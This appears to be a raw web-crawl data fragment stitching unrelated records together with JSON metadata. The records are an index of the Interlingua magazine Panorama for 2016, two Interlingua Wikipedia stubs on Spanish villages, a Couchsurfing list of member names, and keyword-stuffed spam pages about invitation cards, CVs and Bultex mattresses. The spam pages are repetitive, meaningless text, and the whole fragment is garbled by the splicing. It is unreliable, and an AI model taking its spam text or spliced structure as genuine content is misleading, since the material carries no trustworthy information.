austriac.||Copertura|\n|1||Premio pro pace||Lucta pro pace recipe le Premio Nobel.||Copertura|\n|1||Hitler voleva le papa||Copertura|\n|1||Chineses debe parlar le mesme lingua||400 mio. non pote communicar in lingua standard. Ante 2020 illes debe apprender lo.||Copertura|\n|1||Secretos del statos||Panorama revela secretos ben celate in le SUA||Copertura|\n|1||Fresc ab le jardin||Copertura|\n|2||Premio de pace pro pace in Colombia||Le presidente del pais sudamerican recipe le Premio Nobel de pace pro su effortios pro finir 52 annos de guerra civil.||Breinstrup, Thomas||Nova|\n|3||Le mundo commun elige lor nove chef||Ex-prime ministro de Portugal, António Guterres, devenira le 1 de januario le nove secretario general del Nationes Unite.||Breinstrup, Thomas||Nova|\n|3||Nationes Unite||Nota|\n|4||Torna le paginas – absorbe te in le libros||Breinstrup, Thomas||Editorial|\n|5||Chineses debe parlar le mesme lingua ante 2020||400 milliones in China pote hodie non communicar in le lingua standard, e pro isto le partito communista pone extra effortios e moneta in le education.||Breinstrup, Thomas||Nova|\n|6+7||Parve lingua lucta pro esser legitime||Rhetoromano o romancio es le quarte lingua official in Suissa.||Platter, Kenneth||Nova|\n|7||Venetia de novo sub aqua||Th.||Nota|\n|7||Arabia Saudita cambia calendario||Th.||Nota|\n|7||Policieros con cameras||Th.||Nota|\n|7||Conversation actual: ecce||Nota|\n|8||Elephantes marcha verso lor extinction||Durante le passate dece annos le population de elephantes in Africa ha cadite con circa 20 pro cento.||Breinstrup, Thomas||Nova|\n|8||Exportation de ebore ancora prohibite||Th.||Nota|\n|9||Lucta pro salvar elephantes cresce||Kenya e Tanzania arresta chassatores furtive. Organisation global adverti que le elephantes risca haber disparite in 2022.||Th.||Nova|\n|9||Casa de Hitler a demolir||Th.||Nota|\n|9||Vienna in minus de districtos||Th.||Nota|\n|9||Apple considera un auto||Th.||Nota|\n|9||Conversation actual: armistitio||Le parolas del mense|\n|10||McDonald's in le Vaticano||Th.||Nota|\n|10||Opium afghan cresce 43%||Th.||Nota|\n|10||Conversation actual: recolta||Le parolas del mense|\n|10||Hitler voleva raper le papa||Cardinales planificava celar Pius XII in turre vatican.||Th.||Nova|\n|11||Permisso a La Sagrada Família post 131 annos||Th.||Nota|\n|11||Alte radio-undas musical in Francia||Quotas de musica in le radios francese de novo causa grande debatto.||Breinstrup, Thomas||Nova|\n|12||Alice in interlingua||Novas de interlingua|\n|12||Tres nove poemas publicate||Novas de interlingua|\n|12||Guida de Linux in interlingua||Novas de interlingua|\n|12||Cultura romanic in interlingua||Novas de interlingua|\n|12||Nemo escappa le Oculo!||Novas de interlingua|\n|13||Enorme encyclopedia avantia||Novas de interlingua|\n|14||Nove record facite per neanderthales||Le constructiones le plus vetere in le mundo sembla haber essite create per le ancestres del homine moderne.||Breinstrup, Thomas||Scientia|\n|15||Technica digital recrea testamento||Le plus ancian textos biblic esseva legite sin aperir le rolos ancian.||Th.||Scientia|\n|15||Accidente sur Marte||Th.||Nota|\n|15||Apparatos attaccate attaccava||Th.||Nota|\n|15||Dinosauros cruciava continente||Th.||Nota|\n|15||Astronautas chinese arriva||Th.||Nota|\n|16+17+18||Vienna – le urbe del sonios||Le capital austriac surprende.||Breinstrup, Thomas||Viages|\n|19||Clave a curso anglese||F.P. Gopsill: \"Interlingua Today (Key)\"||Th.||Libros|\n|19||Le prophetas minor in interlingua||\"Dodekapropheton\", traduction: Francis Markstein||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Fresc ab le jardin||Breinstrup, Thomas||Le parolas del mense|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Cordes perdite||Parte 3. Traduction: Onofrio Notarstefano||Rhodes James, Montague||Litteratura|\n|24||Fenestra coperite pro babuan||Th.||Le mundo actual|\n|24||300 fossiles in un ambra||Th.||Le mundo actual|\n|24||Viro batte urso con karate||Th.||Le mundo actual|\n|24||Beton sur le Muro Chinese||Th.||Le mundo actual|\n|24||Policia tira verso can, feri homine||Th.||Le mundo actual|\n|25||Un die pro le pomo||Th.||Le mundo actual|\n|25||Accusate pro terror de wasabi||Th.||Le mundo actual|\n|25||Humaro de septe kilos capturate||Th.||Le mundo actual|\n|25||Le panda le plus vetere ha morite||Th.||Le mundo actual|\n|25||Passageros sin jentaculo||Th.||Le mundo actual|\n|26||Le nomines del statos del SUA||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Café Interlingua||Novas de nomines|\n|28||Battistina Rambelli||Novas de nomines|\n|28||Sven Frank||Novas de nomines|\n\n\nNo. 6\/2016, novembre-decembre\n|1||60% del vita salvage es via in 40 annos||Le mundo experientia le prime extinction de massa desde le dinosauros.||Copertura|\n|1||Ecce libros pro Natal||Panorama inspira al bon libros pro omne portamonetas.||Copertura|\n|1||Interlingua – bon anno nove 2017||Panorama presenta le grande eventos in 2017.||Copertura|\n|1||Le alternative London||Faciadas peculiar e spectacular es parte del identitate de Camden Town.||Copertura|\n|1||Un surprisa attende||Le redaction de Panorama prepara un surprisa pro te.||Copertura|\n|1||Le ver Shakespeare||Copertura|\n|1||Britannicos refusa negotiar in francese||Le exito de Grande Britannia del Union Europee ha aperite un nove battalia lingual.||Copertura|\n|1||Pardono in retardo||Post 772 annos un urbe excusava massacro.||Copertura|\n|1||Natal in interlingua||Copertura|\n|2||Britannicos refusa negotiar in francese||Nove battalia lingual ha – forsan – erumpite in le Union Europee super le lingua a usar pro negotiar le exito de Grande Britannia.||Breinstrup, Thomas||Nova|\n|3||60% del vita salvage ha disparite durante 40 annos||Le mundo experientia le prime extinction de massa desde le dinosauros.||Breinstrup, Thomas||Nova|\n|4||Nos ha un surprisa pro te – e besonia tu adjuta||Breinstrup, Thomas||Editorial|\n|5+6+7||Preste pro 2017||Ecce un supervista super eventos e datas importante in le nove anno.||Breinstrup, Thomas||Nova|\n|7||2016 deveni le plus calide||Th.||Nota|\n|7||Possibile secretos in pyramide||Th.||Nota|\n|7||Conversation actual: deminage||Nota|\n|8+9||Nove catharos pro Montségur||Le ecclesia catholic demanda pardono a causa de su crimines contra le catharos durante le medievo.||Martignon, Jean||Nova|\n|10||Datos revela adjuta a Shakespeare||17 del spectaculos famose per Shakespeare in tote le mundo esseva scribite con adjuta, monstra analyse de datos.||Breinstrup, Thomas||Nova|\n|10||Correction||Red.|\n|11||Presidente: Stoppa le criminales ora||Nemo debe esser exemptate, dice le presidente de Tanzania, qui vole capturar le capites detra le assassination del elephantes.||Th.||Nova|\n|11||Arbore de 95 metros||Th.||Nota|\n|11||Le duple de van Gogh trovate||Th.||Nota|\n|11||Nove museo de vikinges||Th.||Nota|\n|11||Conversation actual: sondage||Nota|\n|12+13||Ideas a presentes de Natal||Libros|\n|14||Parlatores de interlingua in linea||Novas de interlingua|\n|14||Septe linguas – e un octave||Novas de interlingua|\n|14||Interlingua in Centre Pompidou||Novas de interlingua|\n|14||Calendario pro 2017 in interlingua||Novas de interlingua|\n|14||Duolingo e Facebook in interlingua||Novas de interlingua|\n|15||Guttas de pluvia in interlingua||Novas de interlingua|\n|15||Capitulo 5 de Alice es preste||Novas de interlingua|\n|15||Café Interlingua es attractive||Novas de interlingua|\n|15||Citation del mense||Novas de interlingua|\n|16||Grande rattos debe devenir detectives||Rattos es trainate pro poter deteger commercio illegal de animales in periculo.||Breinstrup, Thomas||Scientia|\n|16||Temperatura record al Polo Nord||Th.||Nota|\n|17||Un giraffa es in realitate quatro||Scientistas discoperi que le giraffa african non es un ma quatro species.||Breinstrup, Thomas||Scientia|\n|17||Al minus duo billiones galaxias||Th.||Nota|\n|17||Plus de energia renovabile||Th.||Nota|\n|17||Cattos miaula in dialecto||Th.||Nota|\n|18+19||Un viage in tempore in London||Prende le metro a Camden Town – tu lo memora pro sempre.||Breinstrup, Thomas||Viages|\n|20||Natal e le anno nove||Breinstrup, Thomas||Le parolas del mense|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Cordes perdite||Parte 4. Traduction: Onofrio Notarstefano||Rhodes James, Montague||Litteratura|\n|23||Catulla 101||Krause, Catherine B.||Litteratura|\n|23||Le café litterari||Th.||Litteratura|\n|24||Nove casa a Andersen||Th.||Le mundo actual|\n|24||Replica del bunker de Hitler aperi||Th.||Le mundo actual|\n|24||Canes de Venetia portraitate||Th.||Le mundo actual|\n|24||Elvis batte Madonna||Th.||Le mundo actual|\n|24||Aere polluite de Beijing in lattas||Th.||Le mundo actual|\n|25||Le plus breve tour in avion||Th.||Le mundo actual|\n|25||Serratura odiante ma efficace||Th.||Le mundo actual|\n|25||Chips extrememente forte, attention||Th.||Le mundo actual|\n|25||Tauros terrifica fures||Th.||Le mundo actual|\n|26||Le multe nomines de Andreas Anate||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Charles Dickens||Novas de nomines|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Le Die de Interlingua||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.interlingua.com\/panorama\/indices\/anno_2016","date":"2017-02-25T09:29:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171706.94\/warc\/CC-MAIN-20170219104611-00504-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.9722217917,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.9722217917442322}","num_words":5267,"character_repetition_ratio":0.179,"word_repetition_ratio":0.044,"special_characters_ratio":0.266,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":6799.5,"cluster_detection":-1} +{"text":"idee carte d invitation repas de noel gratuite ou a 16 a.\ncarte dinvitation repas de noel gratuite invitation gratuit ,invitation carte dinvitation repas de noel gratuite gratuit,carte invitation repas noel gratuit unique pour invite a theme pays dinvitation de gratuite,carte invitation repas noel gratuit a caaux dinvitation de gratuite, lot pour carte invitation repas noel gratuit dinvitation de gratuite,carte invitation repas noel gratuit dinvitation de gratuite,carte invitation repas noel gratuit dinvitation de gratuite pour ,carte dinvitation repas de noel gratuite invitation gratuit d razorblasocietycom,menus cartons blog lulu carte invitation repas noel gratuit dinvitation de gratuite\nIdee Carte D Invitation Repas De Noel Gratuite Ou A 16 A\nidee carte d invitation repas de noel gratuite ou a 16 a.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/rapidrip.info\/carte-d-invitation-repas-de-noel-gratuite\/idee-carte-d-invitation-repas-de-noel-gratuite-ou-a-16-a\/","date":"2019-01-24T12:34:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584547882.77\/warc\/CC-MAIN-20190124121622-20190124143622-00018.warc.gz","language":"ina","language_score":0.3831366301,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3831366300582886, \"fra_Latn_score\": 0.11481282860040665, \"por_Latn_score\": 0.07060587406158447, \"sco_Latn_score\": 0.03243914991617203, \"lat_Latn_score\": 0.02923370897769928, \"nap_Latn_score\": 0.023294134065508842, \"mfe_Latn_score\": 0.018737733364105225, \"nrm_Latn_score\": 0.018375223502516747, \"wes_Latn_score\": 0.017902109771966934, \"eng_Latn_score\": 0.014498366042971611, \"gsw_Latn_score\": 0.014074776321649551, \"ron_Latn_score\": 0.01201927475631237, \"lim_Latn_score\": 0.011397361755371094, \"spa_Latn_score\": 0.01127571426331997, \"glg_Latn_score\": 0.010709444992244244}","num_words":223,"character_repetition_ratio":0.257,"word_repetition_ratio":0.383,"special_characters_ratio":0.166,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.39,"perplexity_score":7787.2,"cluster_detection":-1} +{"text":"New 11 illustration curriculum vitae como crear un curriculum vitae gratis. Como crear un curriculum vitae gratis o crear un curriculum vitae gratis. New 11 illustration curriculum vitae como crear un curriculum vitae gratis. 117 best hoja de vida images on pinterest como crear un curriculum vitae gratis. Fotocopias baratas imprimir curriculum vitae baratos como crear un curriculum vitae gratis.\nNew 11 Illustration Curriculum Vitae Como Crear Un Curriculum Vitae Gratis fuente: aomuaphongthuy.com\nComo Crear Un Curriculum Vitae Gratis O Crear Un Curriculum Vitae Gratis fuente: genericrevia.club\nNew 11 Illustration Curriculum Vitae Como Crear Un Curriculum Vitae Gratis fuente: aomuaphongthuy.com\n117 Best Hoja De Vida Images On Pinterest Como Crear Un Curriculum Vitae Gratis fuente: pinterest.com\nFotocopias Baratas Imprimir Curriculum Vitae Baratos Como Crear Un Curriculum Vitae Gratis fuente: fotocopiasbaratas.com\nCurriculum Vitae Vs Resume New Vitae Vs Resume Radio Viva Como Crear Un Curriculum Vitae Gratis fuente: radio-viva.com\n34 Best Blog Images On Pinterest Como Crear Un Curriculum Vitae Gratis fuente: pinterest.com\nCurriculum vitae vs resume new vitae vs resume radio viva como crear un curriculum vitae gratis. 34 best blog images on pinterest como crear un curriculum vitae gratis. O hacer mi curriculum vitae gratis – awesome resumes for a bank como crear un curriculum vitae gratis. Curriculum vitae 2018 c³mo hacer un buen curriculum plantillas cv como crear un curriculum vitae gratis.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/curriculumvt.me\/como-crear-un-curriculum-vitae-gratis\/","date":"2019-05-23T08:17:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257156.50\/warc\/CC-MAIN-20190523063645-20190523085645-00559.warc.gz","language":"ina","language_score":0.4852513671,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.48525136709213257, \"lat_Latn_score\": 0.2017025202512741, \"sco_Latn_score\": 0.14668580889701843, \"ast_Latn_score\": 0.043719805777072906, \"glg_Latn_score\": 0.026513375341892242, \"srd_Latn_score\": 0.019887786358594894, \"spa_Latn_score\": 0.014289293438196182, \"eus_Latn_score\": 0.0113674346357584}","num_words":370,"character_repetition_ratio":0.234,"word_repetition_ratio":0.46,"special_characters_ratio":0.179,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.634,"perplexity_score":5898.6,"cluster_detection":-1} +{"text":"Pedrosa de Río Úrbel\n|Pedrosa de Río Úrbel|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Population||258|\n|Area||49,06 km²|\n|Situate in||Provincia de Burgos|\n|Altitude||845 ±1 m|\n|Coordinatas||42°24'34\"N, 3°49'16\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6356529|\n|Sito web: http:\/\/www.pedrosaderiourbel.es\/|\n|Wikimedia Commons Category|\nPedrosa de Río Úrbel\nPedrosa de Río Úrbel es un municipalitate que se trova in le provincia de Burgos, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Pedrosa_de_R%C3%ADo_%C3%9Arbel","date":"2023-03-30T18:35:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949355.52\/warc\/CC-MAIN-20230330163823-20230330193823-00610.warc.gz","language":"ina","language_score":0.3495368958,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3495368957519531, \"nov_Latn_score\": 0.12684278190135956, \"glg_Latn_score\": 0.11228260397911072, \"atj_Latn_score\": 0.029793424531817436, \"vec_Latn_score\": 0.026514587923884392, \"frp_Latn_score\": 0.021233676001429558, \"sco_Latn_score\": 0.019544703885912895, \"arg_Latn_score\": 0.019055547192692757, \"nrm_Latn_score\": 0.016613028943538666, \"lmo_Latn_score\": 0.014032912440598011, \"lij_Latn_score\": 0.01280927937477827, \"nap_Latn_score\": 0.012639212422072887, \"oci_Latn_score\": 0.010790481232106686, \"srd_Latn_score\": 0.010683763772249222, \"sot_Latn_score\": 0.010565847158432007}","num_words":129,"character_repetition_ratio":0.129,"word_repetition_ratio":0.208,"special_characters_ratio":0.313,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.351,"perplexity_score":4374.5,"cluster_detection":-1} +{"text":"Aldeanueva de Figueroa\n|Aldeanueva de Figueroa|\n\n\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Aldeanueva de Figueroa[*]|\n|Population||239|\n|Area||56 km²|\n|Situate in||Provincia de Salamanca|\n|Altitude||871 m|\n|Coordinatas||41°8'52\"N, 5°31'29\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6360275|\n|Wikimedia Commons Category|\nAldeanueva de Figueroa\nAldeanueva de Figueroa es un municipalitate que se trova in le provincia de Salamanca, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.wikipedia.org\/wiki\/Aldeanueva_de_Figueroa","date":"2023-05-29T16:15:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644867.89\/warc\/CC-MAIN-20230529141542-20230529171542-00474.warc.gz","language":"ina","language_score":0.541652441,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5416524410247803, \"glg_Latn_score\": 0.08095570653676987, \"sco_Latn_score\": 0.053655918687582016, \"ast_Latn_score\": 0.034095410257577896, \"nrm_Latn_score\": 0.024937409907579422, \"vec_Latn_score\": 0.018771957606077194, \"arg_Latn_score\": 0.016876665875315666, \"cbk_Latn_score\": 0.010504905134439468, \"atj_Latn_score\": 0.010391712188720703}","num_words":119,"character_repetition_ratio":0.159,"word_repetition_ratio":0.145,"special_characters_ratio":0.291,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.67,"perplexity_score":5673.5,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Camille Le Bruchec||Camille Le Hérissé|\n|camille Le chaix||Camille LE HO|\n|camille le chatelier||Camille Le Hoangan|\n|Camille Le Claire||Camille Le Houérou|\n|Camille Le Cleuziou||Camille Le Huédé|\n|Camille Le Coeur||Camille Le Huédé|\n|Camille le Compagnon and Thomas Foricher||Camille Le Jeune|\n|Camille Le Coq||Camille Le Jeune|\n|Camille Le Crosnier Pieretti||Camille Le Jeune|\n|Camille Le Denic||Camille Le Junter|\n|Camille Le Denmat||Camille Le Lan|\n|camille Le deun||Camille Le Lan Toson|\n|Camille Le Deun||Camille Le Large|\n|Camille Le doze||Camille Le Lous|\n|Camille LE DU||Camille Le Madoqua|\n|Camille Le Falhun||Camille Le Maître|\n|Camille Le Falhun||Camille LE MAITRE|\n|Camille Le Falhun||Camille Le Maléfan|\n|Camille Le Fiblec||Camille Le Maléfan|\n|Camille Le Floch||Camille Le Marec|\n|Camille Le Floch||Camille Le Marrec|\n|Camille LE FLOCH||Camille LE MELEDO|\n|Camille Le Friec||Camille Le men|\n|Camille LE GAL||Camille le Mentec|\n|Camille Le Gal||Camille Le Merrer|\n|Camille Le Gal||Camille Le Meur|\n|Camille Le Gal||Camille Le Meur|\n|Camille Le Gal||Camille Le Meur|\n|Camille Le Gall||Camille Le Meur|\n|Camille Le Goaziou||Camille LE MOIGN|\n|Camille Le Goaziou||Camille Le Nir|\n|Camille Le Goff||Camille Le Normand|\n|Camille Le Goff||Camille Le Page|\n|Camille Le Goff||Camille Le Pajolec|\n|Camille Le Goff||Camille Le Pape|\n|camille Le goff||Camille Le Pen-Sénéchal|\n|camille Le goff||Camille Le Pennec|\n|Camille Le Goff||Camille Le Petit|\n|Camille Le Gonidec||Camille Le Petit|\n|camille Le gouil||Camille Le Peuchant|\n|Camille Le Gourrierec||Camille Le Pioufle|\n|Camille Le Grand Viau||Camille LE PORS|\n|Camille Le guellec||Camille Le Priol|\n|Camille Le Guen||Camille Le Prou|\n|Camille Le Guen||camille LE PULOCH|\n|camille Le Guigo||Camille Le Quan|\n|Camille Le Guillou||Camille Le Quay|\n|Camille Le Guillou||Camille le Rajout|\n|Camille Le Hein||CAMILLE LE ROC'H|\n|Camille Le Hénanff||Camille Le Roi|","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.couchsurfing.com\/directory\/C-6-50","date":"2018-04-19T10:05:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936833.6\/warc\/CC-MAIN-20180419091546-20180419111546-00405.warc.gz","language":"ina","language_score":0.4766811728,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4766811728477478, \"fra_Latn_score\": 0.474357545375824, \"nap_Latn_score\": 0.01359510887414217}","num_words":579,"character_repetition_ratio":0.298,"word_repetition_ratio":0.04,"special_characters_ratio":0.245,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.608,"perplexity_score":29580.9,"cluster_detection":-1} +{"text":"Colchon Bultex Opinionessponsored links\ngood opiniones colchones opiniones colchones colchones opiniones excellent colchn exprs opiniones with colchones colchones opiniones excellent with colchon bultex opiniones.\nbeautiful colchn de muelles flex moonlight with colchon bultex opiniones.\ncomprar colchn bultex bit cp a la gama neo de pikolin with colchon bultex opiniones.\ngood colchones bultex de diseao pikolin opiniones with colchon bultex opiniones.\nperfect colchones lo monaco criticas catlogo colchones maxiking with colchon bultex opiniones.\nperfect colchon bultex opiniones elegante muebles de jardin en erta diseno sofa d archives lamparas el with colchon bultex opiniones.\nelegant canap abatible articulado vlinder de pardo with colchon bultex opiniones.\ncolchon bultex opiniones encantador sleeprice la liquidadora del colchn with colchon bultex opiniones.\ninteresting colchon bultex opiniones lo mejor de hermosa bultex confort para un descanso progresivo of colchon bultex with colchon bultex opiniones.\nlatest colchon bultex pikolin coleccin de colchones accesorios with colchon bultex opiniones.\ninteresting colchones epeda opiniones colchones epeda opiniones colchones epeda opiniones colchn melrose down by bultex colchones with colchon bultex opiniones.\nawesome colchones y bases with colchon bultex opiniones.\ninteresting fresh colchon decathlon with colchon bultex opiniones.\nfabulous colchon bultex opiniones encantador los hermoso colchones conforama opiniones trmino en hermosear of colchon bultex opiniones with colchon bultex opiniones.\nelegant colchones bultex el corte ingles catlogo del corte ingls de ofertas y precios en colchones with colchon bultex opiniones.\nbest gua del descanso with colchon bultex opiniones.\nelegant colchones baratos madrid centro superb images hostal aliste madrid espaa opiniones paracin de precios with colchon bultex opiniones.\nawesome tiendas y de colchones en cantabria with colchon bultex opiniones.\nelegant colchones bultex precio nuevo colchn modelo andromeda bultex amazon juguetes y juegos of with colchon bultex opiniones.\nexcellent colchon bultex opiniones colchn bultex quasar envo gratuito with colchon bultex opiniones.\ngreat colchon respit viscoair cm colchones economico with colchon bultex opiniones.\nexcellent somier articulado electrico colchon omega with colchon bultex opiniones.\namazing colchones lo monaco criticas colchones lo monaco criticas colchones pikolin con muelles with colchon bultex opiniones.\nbeautiful cambiar azulejos bao blend pintar baldosas bao blendiberia with colchon bultex opiniones.\ntop colchn talalay natur dorwin with colchon bultex opiniones.\ncolchon bultex pikolin colchon bultex pikolin colchn cuna nube de pikolin colchnvip colchn cuna nube with colchon bultex opiniones.\nsimple colchon bultex opiniones with colchon bultex opiniones.\nstunning composicin y capas del colchn flex palace visco con gel de la gama ultimate de with colchon bultex opiniones.\ncomprar colchn bultex bit cp a la gama neo de pikolin with colchon bultex opiniones.\nopiniones colchones opiniones colchones colchones tempur opiniones colchones tempur opiniones colchones tempur opiniones colchones tempur with colchon bultex opiniones.\nfinest salones with colchon bultex opiniones.\ncolchon bultex opiniones colchn partenon de pikolin colchnvip with colchon bultex opiniones.\ncool colchones bultex precios colchones bultex precios colchn bultex hd neo nanotech muebles la chimenea colchn with colchon bultex opiniones.\nperfect colchn de espuma y summer set with colchon bultex opiniones.\ntrendy muebles el rebajn denia with colchon bultex opiniones.\nlos mejores colchones with colchon bultex opiniones.\nfabulous colchon bultex opiniones with colchon bultex opiniones.\ncool colchon bultex opiniones with colchon bultex opiniones.\ncolchon bultex opiniones nuevo ltimos dos das de la expo living de la bella with colchon bultex opiniones.\nfabulous colchn intense with colchon bultex opiniones.\nlatest colchon bultex casiopea smartpik with colchon bultex opiniones.\nalmohada sensil visco de moshy with colchon bultex opiniones.\ncolchones baratos madrid centro great pictures hotel mediodia desde madrid espaa with colchon bultex opiniones.\ntop canap colchn with colchon bultex opiniones.\ncolchon bultex opiniones with colchon bultex opiniones.\nexcellent comprar colchn bultex focus cp a la gama neo de pikolin with colchon bultex opiniones.\ngreat colchn base desde with colchon bultex opiniones.\nfinest colchon bultex opiniones with colchon bultex opiniones.\ncolchn inteligente ibed flex with colchon bultex opiniones.\nstunning pharma life with colchon bultex opiniones.\naffordable colchon bultex opiniones colchn garanty de bultex with colchon bultex opiniones.\nmesa de comedor extensible lin nacher with colchon bultex opiniones.\ncolchon bultex comps with colchon bultex opiniones.\nfabulous firmeza firmeza with colchon bultex opiniones.\ncolchones bultex precios colchones bultex precios colchn articulable bultex nobel colchn articulable with colchon bultex opiniones.\namazing colchon bultex opiniones lo mejor de hermosa los hermoso colchones conforama opiniones trmino en hermosear of with colchon bultex opiniones.\ncolchon lo monaco opiniones genial calamo deia with colchon bultex opiniones.\nlatest colchn talalay natur dorwin with colchon bultex opiniones.\ncolchn de muelles flex mind balance with colchon bultex opiniones.\ncheap robot aspirador rowenta smart force essential aqua rr with colchon bultex opiniones.\nsimple colchon bultex opiniones with colchon bultex opiniones.\nstunning colchon bultex opiniones with colchon bultex opiniones.\npikolin egeo colchn espuma polister blanco matrimonial x with colchon bultex opiniones.\ncolchn bultex smart pik ecore with colchon bultex opiniones.\nsimple robot aspirador rowenta smart force essential aqua rr with colchon bultex opiniones.\nsin embargo ms all de la tecnologa bultex los expertos en descanso coinciden en que los colchones son los ms para un with colchon bultex opiniones.\nfree colchones opiniones hermoso colchon just sleep opiniones galera de colchones diseo decoracin with colchon bultex opiniones.\ngallery of colchones baratos madrid centro beautiful images mil anuncios anuncios de colchon bultex colchon bultex pag with colchon bultex opiniones.\ncolchn oximax with colchon bultex opiniones.\ncolchn articulable pikolin art nova with colchon bultex opiniones.\ncheap pulsa para ver el video with colchon bultex opiniones.\nawesome colchn grafeno sense grosor cm cm visco with colchon bultex opiniones.\nbultex with colchon bultex opiniones.\nbest colchon with colchon bultex opiniones.\nopiniones colchones opiniones colchones hermoso colchones de latex opiniones galera de colchones decoracin hermoso colchones with colchon bultex opiniones.\ncolchon bultex opiniones with colchon bultex opiniones.\ncheap aos de excelencia tributarias with colchon bultex opiniones.\nsimple colchones bultex precio nuevo junio of colchones bultex precio encantador los hermoso colchones conforama with colchon bultex opiniones.\nbest new colchones en promocion with colchon bultex opiniones.\nbest colchones lo monaco criticas moraplex home with colchon bultex opiniones.\ngallery of colchon bultex opiniones colchn bultex quasar envo gratuito with colchon bultex opiniones.\ncolchon bultex casiopea smartpik with colchon bultex opiniones.\ncheap colchones y bases with colchon bultex opiniones.\ncolchon bultex optimus articulable with colchon bultex opiniones.\nfabulous awesome colchon cambiador medidas with colchon bultex opiniones.\ngallery of opiniones colchones opiniones colchones hermoso colchones de latex opiniones galera de colchones decoracin hermoso colchones with colchon bultex opiniones.\ncolchn de espuma y summer set with colchon bultex opiniones.\nfinest opiniones colchones opiniones colchones colchones baratos y en oferta de maxcolchon colchones baratos with colchon bultex opiniones.\nperfect bulteximg with colchon bultex opiniones.\ncolchones epeda opiniones epeda conjunto somier confort medium zonas con colchn juego with colchon bultex opiniones.\ncolchon bultex pikolin lujo colchonera gorricho te ayudamos a conseguir un descanso salubable with colchon bultex opiniones.\ntrendy colchon bultex opiniones colchn smart pik de bultex e core ecore colchon with colchon bultex opiniones.\ntop alta gama bio natur fresh reversible with colchon bultex opiniones.\namazing pack colchn sweet dreams canap roble woodbox iii with colchon bultex opiniones.\nelegant pikoln with colchon bultex opiniones.\ngreat colchon bultex opiniones with colchon bultex opiniones.\ntop colchones epeda opiniones colchones epeda opiniones epeda colchn de latn livia x with colchon bultex opiniones.\ntop colchon bultex comps with colchon bultex opiniones.\ngallery of colchones bultex colchon energia opiniones with colchon bultex opiniones.\ntrendy hogar colchones hinchables with colchon bultex opiniones.\naffordable comprar colchn bultex bit cp a la gama neo de pikolin with colchon bultex opiniones.\ntrendy colchones bultex precio elegante los hermoso colchones conforama opiniones trmino en hermosear of colchones bultex precio with colchon bultex opiniones.\nlatest colchon opinion colchn viscoel stico ml with colchon bultex opiniones.\nsimple cambiar azulejos bao blend pintar baldosas bao blendiberia with colchon bultex opiniones.\ncool colchon outlet lattoflex climafresh premium x mediofirme with colchon bultex opiniones.\nfabulous los colchones favoritos de nuestros clientes with colchon bultex opiniones.\nstunning colchon bultex opiniones colchon bultex opiniones colchon bultex opiniones hogar y ideas de dise with colchon bultex opiniones.\ncool colchones epeda opiniones epeda iris colchonera gorricho with colchon bultex opiniones.\ngood colchon de agua fresco mogador opera marrakech marruecos opiniones paracin de of colchon de agua nuevo with colchon bultex opiniones.\ncolchn de muelles flex moonlight with colchon bultex opiniones.\nsimple colchones bultex precios colchones bultex precios b colchn cuna luna serie active bultex with colchon bultex opiniones.\nbest colchon bultex opiniones fresco precios de colchones lo monaco top precios de colchones lomonaco lo of with colchon bultex opiniones.\ncool colchon bultex pikolin colchon bultex pikolin colchn cuna nube de pikolin colchnvip colchn cuna nube with colchon bultex opiniones.\nbeautiful en la tienda home encontrar colchones de estndar similares a los que existen actualmente en el resto del mercado pero con una mayor with colchon bultex opiniones.\ntop colchones bultex precios colchones bultex precios colchon inteligente bultex ecore smartpik colchon inteligente bultex ecore with colchon bultex opiniones.\naffordable best of colchon cuna carrefour with colchon bultex opiniones.\nsimple 